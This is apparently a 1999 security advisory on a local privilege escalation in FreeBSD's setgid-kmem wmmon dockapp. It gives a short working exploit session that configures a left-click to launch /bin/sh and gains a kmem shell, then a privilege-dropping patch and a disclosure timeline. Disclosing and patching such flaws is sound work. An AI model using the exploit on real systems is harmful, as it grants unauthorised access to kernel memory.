Wmmon under FreeBSD

[sreid () SEA-TO-SKY NET (Steve Reid)]

Wmmon is a popular program for monitoring CPU load and other system
utilization. It runs as a dockapp under WindowMaker.

The FreeBSD version of this program has a feature that can be trivially
exploited to gain group kmem in recent installs, or user root in really
old installs. This affects the FreeBSD version because under FreeBSD the
program must be installed setgid kmem or setuid root in order to access
system load information through the memory devices. The Linux version
should not be vulnerable because it reads information through procfs
which requires no special privileges.

Exploit:
% id
uid=1000(steve) gid=1000(steve) groups=1000(steve)
% echo 'left /bin/sh' > ~/.wmmonrc
% wmmon -display myworkstation.evilhacker.net:0.0
Monitoring 2 devices for activity.
{Left-click on the little window that appears}
current stat is :1
$ id
uid=1000(steve) gid=1000(steve) egid=2(kmem) groups=2(kmem), 1000(steve)

Here is a patch:

--- work/wmmon.app/wmmon/wmmon.c.old    Thu Dec  2 02:06:55 1999
+++ work/wmmon.app/wmmon/wmmon.c        Thu Dec  2 04:20:22 1999
@@ -318,6 +318,8 @@

         if (kvmd==NULL) kvmd = kvm_openfiles(NULL, NULL, NULL, O_RDONLY, errbuf);
         if (kvmd==NULL) { fprintf(stderr, "kvm_openfiles: %s\n", errbuf); exit(errno); }
+       if (setgid(getgid()) != 0) exit(1); /* We're sgid kmem. Give up privs. */
+       if (setuid(getuid()) != 0) exit(1); /* If we're suid, give that up too. */
         if (kvmd) {
                 if (kvm_nlist(kvmd, nl) >= 0) {
                         struct nlist *nlp;

To fix your wmmon binary save the above as wmmon.patch and do this:

cd /usr/ports/sysutils/wmmon
make patch
patch < wmmon.patch
make
su root
make deinstall
make reinstall

The exploit and patch were tested with wmmon 1.0.b2 installed using the
ports tree. Standard disclaimers apply.

I first emailed the FreeBSD wmmon port maintainer about this back in
February. At that time the program was installed setuid root, giving
easy access to user root instead of just group kmem. There was also a
buffer overflow on the $HOME variable which could probably be used to
access the memory device file descriptors even if privileges were
relinquished (which they weren't). The port maintainer acknowledged my
email and a message warning of a security vulerability was placed in the
pkg/DESCR file but as far as I could tell that was all that was done for
some weeks. The port maintainer changed during that time and I guess my
email got lost in the switch. I forgot about it until a few weeks ago
when I checked the port again. The warning message is gone, the buffer
overflow on $HOME is fixed, and the program now installs setgid kmem
instead of setuid root. The problem still exists, it has just been
reduced from a root exploit to kmem. On Dec. 2nd I again emailed the
port maintainer (now a different person) and he acknowledged my email,
but as of Dec. 20th the port still appears to be vulnerable.